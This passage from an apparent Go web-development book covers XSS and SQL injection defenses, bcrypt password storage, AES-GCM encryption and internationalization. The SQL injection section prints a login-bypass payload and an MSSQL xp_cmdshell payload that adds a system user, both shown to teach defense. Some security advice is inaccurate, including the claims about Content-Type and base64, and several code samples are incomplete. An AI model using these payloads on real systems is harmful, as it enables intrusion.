For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ]
(http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"
How to prevent XSS

The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive.
This will eliminate the majority of XSS attacks.
Use the following techniques to defend against XSS attacks:
Filter special characters
One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its
text/template packge such as HTMLEscapeString and JSEscapeString , to name a few.
Specify the content type in your HTTP headers

w.Header().Set("Content-Type","text/javascript")
This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering
the content in an unspecified and potentially dangerous manner.
Summary
Introducing XSS vulnerabilities is a very real hazard when developing web applications. It is important to remember to filter
all data, especially before outputting it to clients; this is now a well-established means of preventing XSS.
Links
Directory
Previous section: Filter inputs
Next section: SQL injection
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SQL injection
9.4 SQL injection
What is SQL injection

SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web
development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive
information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and
even obtaining the highest system privileges for their own nefarious purposes.
SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers
to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input,
which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's
malicious code is executed instead.
SQL injection examples

Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are
trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the
standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the
level of the host system.
Let's have a look at some real examples to explain the process of SQL injection in detail.
Consider the following simple login form :
<form action="/login" method="POST">

<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="Login" /></p>
</form>
Our form processing might look like this:
username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"
If the user inputs a user name or password as:
myuser' or 'foo' = 'foo' --
Then our SQL becomes the following:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
In SQL, anything after -- is a comment. Thus, inserting the -- as the attacker did above alters the query in a fatal way,
allowing an attacker to successfully login as a user without a valid password.
Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The
following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases.
sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)
219
SQL injection
If an attacker submits a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- as the "prod" variable, then the sql
will become
sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds
new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker
can register a system account to access this machine.
Although the examples above are tied to a specific database system, this does not mean that other database
systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the
same, though the method with which they are perpetrated may vary.
How to prevent SQL injection

You might be thinking that an attacker would have to know information about the target database's structure in order to
carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this
information and once they get it, the database can be compromised. If you are using open source software to access the
database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the
security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that
have been vulnerable to SQL injection attacks.
These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never
trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies.
As our first example above has shown, even supposedly normal queries can cause disasters.
SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions
are a good starting point for preventing SQL injection:
1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to
accomplish their work, thus minimizing the risk of database injection attacks.
2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This
can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and
evaluation.
3. Transcode or escape from pairs of special characters ( '"\&*; etc. ) before persisting them into the database. Go's
text/template package has a HTMLEscapeString function that can be used to return escaped HTML.
4. Use your database's parameterized query interface. Parameterized statements use parameters instead of
concatenating user input variables in embedded SQL statements; in other words, they do not directly splice SQL
statements. For example, using the Prepare function in Go's database/sql package, we can create prepared
statements for later execution with Query or Exec(query string, args... interface {}) .
5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities
and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja,
to name a few.
6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out
SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL
statements.
Summary
Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability.
When we write web application, we should pay attention to every little detail and treat security issues with the utmost care.
Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not
your application succeeds.
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SQL injection
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Previous section: XSS attacks
Next section: Password storage
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Password storage
9.5 Password storage

Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as
Linkedin and CSDN.net have been affected. The impact of these events has been felt across the entire internet, and cannot
be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same
password for many different websites.
As web developers, we have many choices when it comes to implementing a password storage scheme. However, this
freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them?
Bad solution
Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them.
The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed
data - hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-
256, SHA-1, MD5 and so on.
You can easily use the three aforementioned hashing algorithms in Go as follows:
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
There are two key features of one-way hashing:
1) given a one-way hash of a password, the resulting summary is always uniquely determined. 2) calculation speed. As
technology advances, it only takes a second to complete billions of one-way hash calculations.
Given the combination of the above two characteristics, and taking into account the fact that the majority of people use
some combination of common passwords, an attacker can compute a combination of all the common passwords. Even
though the passwords you store in your database may be hash values only, if attackers gain access to this database, they
can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack
relies on what is typically called a rainbow table .
We can see that hashing user data using one-way hashes may not be enough. Once a website's database gets leaked, the
user's original password could potentially be revealed to the world.
Good solution
The method mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most
attackers would not have had the computing resources to compute large rainbow table s. However, with the rise of parallel
computing capabilities, these types of attacks are becoming more and more feasible.
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Password storage
How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and
memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and
time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to
compute the required rainbow table .
Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a
given password digest. This allows us to create password digests that are computationally expensive to perform on a large
scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute rainbow table s
- so much so that it may even be infeasible to try.
In Go, it's recommended that you use the bcrypt package.
The package's source code can be found at the following link: https://github.com/golang/crypto/blob/master/bcrypt/bcrypt.go
Here is an example code snippet which can be used to hash, store and validate user passwords:
package main
import (
"fmt"
"log"
"golang.org/x/crypto/bcrypt"
)
func main() {
userPassword1 := "some user-provided password"
// Generate "hash" to store from user password

hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost)
if err != nil {
// TODO: Properly handle error
log.Fatal(err)
}
fmt.Println("Hash to store:", string(hash))
// Store this "hash" somewhere, e.g. in your database
// After a while, the user wants to log in and you need to check the password he entered
userPassword2 := "some user-provided password"
hashFromDatabase := hash
// Comparing the password with the hash

if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil {
log.Fatal(err)
}
fmt.Println("Password was correct!")

}
Summary
If you're worried about the security of your online life, you can take the following steps:
1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use
different passwords.
2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing
user passwords.
Links
Directory
223
Password storage
Previous section: SQL injection

Next section: Encrypt and decrypt data
224
Encrypt and decrypt data
9.6 Encrypting and decrypting data

The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some
sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use
a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered.
Advanced encryption and decryption

The Go language supports symmetric encryption algorithms in its crypto package. Do not use anything except AES in
GCM mode if you don't know what you're doing!
crypto/aes package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by
the U.S. federal government as a block encryption standard.
In the following example we demonstrate how to encrypt data using AES in GCM mode:
225
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"errors"
"fmt"
"io"
"log"
)
func main() {
text := []byte("My name is Astaxie")
key := []byte("the-key-has-to-be-32-bytes-long!")
ciphertext, err := encrypt(text, key)

if err != nil {
log.Fatal(err)
}
fmt.Printf("%s => %x\n", text, ciphertext)
plaintext, err := decrypt(ciphertext, key)

if err != nil {
log.Fatal(err)
}
fmt.Printf("%x => %s\n", ciphertext, plaintext)
}
func encrypt(plaintext []byte, key []byte) ([]byte, error) {

c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)

if err != nil {
return nil, err
}
nonce := make([]byte, gcm.NonceSize())

if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
return nil, err
}
return gcm.Seal(nonce, nonce, plaintext, nil), nil

}
func decrypt(ciphertext []byte, key []byte) ([]byte, error) {

c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)

if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]

return gcm.Open(nil, nonce, ciphertext, nil)
}
226
Calling the above function aes.NewCipher (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-
128, AES-192 or AES-256 algorithms, respectively), returns a cipher.Block Interface that implements three functions:
type Block interface {

// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.

// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.

// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
These three functions implement encryption and decryption operations; see the Go documentation for a more detailed
explanation.
Summary
This section describes encryption algorithms which can be used in different ways according to your web application's
encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES in
GCM mode.
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Previous: store passwords
Next: Summary
227
Summary
9.7 Summary
In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to
these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing
the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing
these attacks from ever taking place. We then discussed a few methods for securely storing user passwords, first
introducing basic one-way hashing for web applications with loose security requirements, then password salting and
encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and
decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption
algorithms: base64, AES and DES.
The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web
applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can
write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed
anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web
applications.
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Previous section: Encrypt and decrypt data
Next chapter: Internationalization and localization
228
Internationalization and localization
10 Internationalization and localization

In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build
multilingual, international web applications. This means that some pages will appear in different languages according to
user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture.
For example at runtime, the application will be able to recognize and process requests coming from different geographical
regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to
have to manually modify our application's source code to cater to every possible region out there. When an application
needs to add support for a new language, we should be able to simply drop in the appropriate language pack and be done
with it.
In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N,
respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple
regions around the world. In some ways, we can think of internationalization as something that helps to facilitate
localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of
specific locales.
Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party
implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in
our examples.
When we talk about making our web applications "international", we mean that each web page should be constructed with
locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This
involves three things:
1. how to determine the user's locale.
2. how to save strings or other information associated with the locale.
3. how to embed strings and other information according to the user's locale.
In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their
language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other
locale related information. Finally, the third section will describe how to internationalize your web application; more
specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll
be able to support full i18n in our web applications.
Links
Directory
Next section: Setting the default region
229
Time zone
10.1 Setting the default region
Finding out the locale

A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text
formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and
mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an
optional country specifier, and follows the first with an minus sign. This specifier allows web applications to distinguish
between different countries which speak the same language, such as "en-US" for U.S. English, and "en-GB" for British
English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set
to use, for instance "zh-CN.gb2312" specifies the gb2312 character set for Chinese.
Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our
examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names.
On Linux and Solaris systems, you can use the locale -a command to get a list of all supported regional names.
You can use this list as examples of some common locales. For BSD and other systems, there is no locale
command, but the regional information is stored in /usr/share/locale .
Setting the locale

Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from
their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale:
From the domain name

We can set a user's locale via the domain name itself when the application uses different domains for different regions. For
example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese
counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type
of setup has several advantages:
Identifying the locale via URL is distinctive and unambiguous

Users intuitively know which domain names to visit for their specific region or language
Implementing this scheme in a Go application is very simple and convenient, and can be achieved through a map
Conducive to search engine crawlers which can improve the site's SEO
We can use the following code to implement a corresponding domain name locale:
if r.Host == "www.asta.com" {
i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
i18n.SetLocale("zh-TW")
}
Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and
"cn.asta.com" for Chinese site. This scheme can be realized in code as follows:
230
Time zone
prefix:= strings.Split(r.Host,".")
if prefix[0] == "en" {
} else if prefix[0] == "cn" {
} else if prefix[0] == "tw" {
}
Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented
in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given
that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local
context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able
to do this programmatically, for instance by using URL parameters. Let's have a look at the following description.
From URL parameters

The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such
www.asta.com/hello?locale=zh or www.asta.com/zh/hello . This way, we can set the region like so:
i18n.SetLocale(params["locale"]) .
This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need
to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale
parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic
function that produces these locale-specific URLs so that all links are generated through it. This function should
automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease:
locale = params [" locale "] .
Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific
locale like www.asta.com/en/books for our English site and www.asta.com/zh/books for the Chinese one. This approach is
not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access
locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application
router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation):
mux.Get("/:locale/books", listbook)
From the client settings area

In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL
or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the
location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications.
Accept-Language
When a client requests information using an HTTP header set with the Accept-Language field, we can use the following Go
code to parse the header and set the appropriate region code:
AL := r.Header.Get("Accept-Language")
if AL == "en" {
} else if AL == "zh-CN" {
} else if AL == "zh-TW" {
}
Of course, in real world applications, we may require more rigorous processes and rules for setting user regions
231
Time zone
IP Address
Another way of setting a client's region is to look at the user's IP address. We can use the popular GeoIP GeoLite Country
or City libraries to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is
very simple: we only need to look up the user's IP address inside our database and then return locale-specific content
according to which region was returned.
User profile
You can also let users provide you with their locale information through an input element such as a drop-down menu (or
something similar). When we receive this information, we can save it to the account associated with the user's profile.
When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user
accesses the website, the returned content will be based on their previously set locale.
Summary
In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These
methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client
settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive
environment for users to access the services that we provide.
Links
Directory
Previous one: Internationalization and localization
Next section: Localized resources
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Localized resources
10.2 Localized Resources

The previous section described how to set locales. After the locale has been set, we then need to address the problem of
storing the information corresponding to specific locales. This information can include: textual content, time and date,
currency values , pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON
format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For
example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively.
Localized textual content

Plain text is the most common way of representing information in web applications, and the bulk of your localized content
will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels
natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their
local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve
the corresponding strings from the appropriate map. The following snippet is a simple example of this process:
package main
import "fmt"
var locales map[string]map[string]string
func main() {
locales = make(map[string]map[string]string, 2)
en := make(map[string]string, 10)
en["pea"] = "pea"
en["bean"] = "bean"
locales["en"] = en
cn := make(map[string]string, 10)
cn["pea"] = "豌豆"
cn["bean"] = "毛豆"
locales["zh-CN"] = cn
lang := "zh-CN"
fmt.Println(msg(lang, "pea"))
fmt.Println(msg(lang, "bean"))
}
func msg(locale, key string) string {

if v, ok := locales[locale]; ok {
if v2, ok := v[key]; ok {
return v2
}
}
return ""
}
The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales).
We map our cn translations to the same English language keys so that we can reconstruct our English text message in
Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting
one lang variable.
Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am
30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the fmt.Printf
function to achieve the desired result:
en["how old"] = "I am %d years old"

cn["how old"] = "我今年%d岁了"
fmt.Printf(msg(lang, "how old"), 30)
233
Localized resources
The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in
our database, allowing us to execute a simple json.Unmarshal to populate map locales with our string translations.
Localized date and time

Because of our time zone conventions, the time in one region of the world can be different than the time in another region.
Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment
may read 2012年10月24日星期三 23时11分13秒 CST , while in English, it might be: Wed Oct 24 23:11:13 CST 2012 . Not only are
there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times,
we need to address the following two points:
1. time zones
2. formatting issues
The $GOROOT/lib/time/package/timeinfo.zip directory contains locales corresponding to time zone definitions. In order to
obtain the time corresponding to a user's current locale, we should first use time.LoadLocation(name string) to get a
Location object corresponding to our locale, passing in a string representing the locale such as Asia/Shanghai or
America/Chicago . We can then use this Location object in conjunction with a Time object (obtained by calling time.Now ) to
get the final time using the Time object's In method. A detailed look at this process can be seen below (this example uses
some of the variables from the example above):
en["time_zone"] = "America/Chicago"
cn["time_zone"] = "Asia/Shanghai"
loc, _ := time.LoadLocation(msg(lang, "time_zone"))

t := time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))
We can handle text formatting in a similar way to solve our time formatting problem:
en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"
fmt.Println(date(msg(lang,"date_format"),t))
func date(fomat string, t time.Time) string{

year, month, day = t.Date()
hour, min, sec = t.Clock()
//Parsing the corresponding %Y%m%d%H%M%S and then returning the information
//%Y replaced by 2012
//%m replaced by 10
//%d replaced by 24
}
Localized currency value

Obviously, currency differs from region to region also. We can treat it the same way we treated our dates:
en["money"] ="USD %d"

cn["money"] ="￥%d元"
fmt.Println(date(msg(lang,"date_format"),100))
func money_format(fomat string, money int64) string{

return fmt.Sprintf(fomat, money)
}
234
Localized resources
Localization of views and resources

We can serve customized views with different images, css, js and other static resources depending on the current locale.
One way to accomplish this is by organizing these files into their respective locales. Here's an example:
views
|--en //English Templates
|--images //store picture information
|--js //JS files
|--css //CSS files
index.tpl //User Home
login.tpl //Log Home
|--zh-CN //Chinese Templates
|--images
|--js
|--css
index.tpl
login.tpl
With this directory structure, we can render locale-specific views like so:
s1, _ := template.ParseFiles("views" + lang + "index.tpl")

VV.Lang = lang
s1.Execute(os.Stdout, VV)
The resources referenced in the index.tpl file can be dealt with as follows:
// js file
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css file
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// Picture files
<img src="views/{{.VV.Lang}}/images/btn.png">
With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort.
Summary
This section described how to use and store local resources. We learned that we can use conversion functions and string
interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could
simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped
translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency,
we simply used the fmt.Printf function to format it before-hand. Localizing our views and resources was the easiest case,
and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths.
Links
Directory
Previous section: Setting the default region
Next section: International sites
235
International sites
10.3 International sites

The previous section explained how to deal with localized resources, namely by using locale configuration files. So what
can we do if we need to deal with multiple localized resources like text translations, times and dates, numbers, etc? This
section will address these issues one by one.
Managing multiple locale packages

In the development of an application, often the first thing you need to do is to decide whether or not you want to support
more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure
to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files
together in a config/locales directory, or something of the like. Let's suppose you want to support both Chinese and
English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their
contents would probably look something like the following:
# zh.json
{
"zh": {
"submit": "提交",
"create": "创建"
}
}
# en.json
{
"en": {
"submit": "Submit",
"create": "Create"
}
}
We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of go-i18n ( A
more advanced i18n package can be found here ), we first have to register our config/locales directory to load all of
our locale files:
Tr := i18n.NewLocale()
Tr.LoadPath("config/locales")
This package is simple to use. We can test that it works like so:
fmt.Println(Tr.Translate("submit"))
//Output "submit"
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//Outputs "递交"
Automatically load local package

We've just described how to automatically load custom language packs. In fact, the go-i18n library comes pre-loaded with
a bunch of default formatting information such as time and currency formats. These default configurations can be
overridden and customized by users to suit their needs. Consider the following process:
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International sites
//Load the default configuration files, which are placed below in `go-i18n/locales`
//File should be named zh.json, en-json, en-US.json etc., so we can continuously support more languages
func (il *IL) loadDefaultTranslations(dirPath string) error {

dir, err := os.Open(dirPath)
if err != nil {
return err
}
defer dir.Close()
names, err := dir.Readdirnames(-1)

if err != nil {
return err
}
for _, name := range names {

fullPath := path.Join(dirPath, name)
fi, err := os.Stat(fullPath)

if err != nil {
return err
}
if fi.IsDir() {
if err := il.loadTranslations(fullPath); err != nil {
return err
}
} else if locale := il.matchingLocaleFromFileName(name); locale != "" {
file, err := os.Open(fullPath)
if err != nil {
return err
}
defer file.Close()
if err := il.loadTranslation(file, locale); err != nil {

return err
}
}
}
return nil
}
Using the above code to load all of our default translations, we can then use the following code to select and use a locale:
fmt.Println(Tr.Time(time.Now()))
//Output: 2009年1月08日星期四 20:37:58 CST
fmt.Println(Tr.Time(time.Now(),"long"))
//Output: 2009年1月08日
fmt.Println(Tr.Money(11.11))
//Output: ¥11.11
Template mapfunc
Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've
implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical
layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the
results directly to the template layer at render time. What can we do if we want to use these functions directly in the
template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template
functions. The following code shows how easy mapfunc is to implement:
1 text information
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International sites
A simple text conversion function implementing a mapfunc can be seen below. It uses Tr.Translate to perform the
appropriate translations:
func I18nT(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
}
if !ok {
}
return Tr.Translate(s)
}
We register the function like so:
t.Funcs(template.FuncMap{"T": I18nT})
Then use it from your template:
{{.V.Submit | T}}
1. The date and time
Dates and times call the Tr.Time function to perform their translations. The mapfunc is implemented as follows:
func I18nTimeDate(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
}
if !ok {
}
return Tr.Time(s)
}
Register the function like so:
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
{{.V.Now | TD}}
3 Currency Information
Currencies use the Tr.Money function to convert money. The mapFunc is implemented as follows:
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International sites
func I18nMoney(args ...interface{}) string {

ok := false
var s string
if len(args) == 1 {
}
if !ok {
}
return Tr.Money(s)
}
Register the function like so:
t.Funcs(template.FuncMap{"M": I18nMoney})
{{.V.Money | M}}
Summary
In this section we learned how to implement multiple language packs in our web applications. We saw that through custom
language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also
(through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time,
currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our
templates using mapping functions; each translated string can be piped directly to our templates. This enables our web
applications to accommodate multiple languages with minimal effort.
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239
Summary
10.4 Summary
Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are
necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go:
go-i18n. Using this open source library, we can easily implement multi-language versions of our web applications. This
allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open
source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard
libraries!
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Next chapter: Error handling, debugging and testing
240
Error handling, debugging and testing
11 Error Handling, Debugging, and Testing

We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes.
Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting
and testing. From the outside, people may think that all we do as programmers is design our systems and then write our
code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have
never been done before. While this last part may be true, what they don't know is that we spend the majority of our time
cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the
technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling
you to focus instead on more valuable things like the application logic.
Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities
beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred,
spending hours locating and fixing problems after the application is already online. It's good practice (and probably common
sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make
your job, and the jobs of all the other developers who may be working on your application someday, much easier when they
inevitably need to modify the code or upgrade the system.
In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient
way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go
language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB
to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss
application monitoring and debugging operations.
Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests,
as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying
your application, the test code will be able to run smoothly.
Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on
these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build
web applications in Go, let's use this opportunity to establish these good habits from the very beginning.
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Next section: Error handling
241
Error handling
11.1 Error handling

Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C) and
statements which are explicit and don't contain any hidden or unexpected things. Go's error handling scheme reflects all of
these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to
return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not
know exactly what these return values mean. In C, it's not explicit whether a value of 0 indicates success of failure. On
the other hand, Go explicitly defines a type called error for the sole purpose of expressing errors. Whenever a function
returns, we check to see whether the error variable is nil or not to determine if the operation was successful. For
example, the os.Open function fails, it will return a non-nil error variable.
func Open(name string) (file * File, err error)
Here's an example of how we'd handle an error in os.Open . First, we attempt to open a file. When the function returns, we
check to see whether it succeeded or not by comparing the error return value with nil, calling log.Fatal to output an error
message if it's a non-nil value:
f, err := os.Open("filename.ext")
if err != nil {
log.Fatal(err)
}
Similar to the os.Open function, the functions in Go's standard packages all return error variables to facilitate error
handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web
applications.
Error type
error is an interface type with the following definition:
type error interface {

Error() string
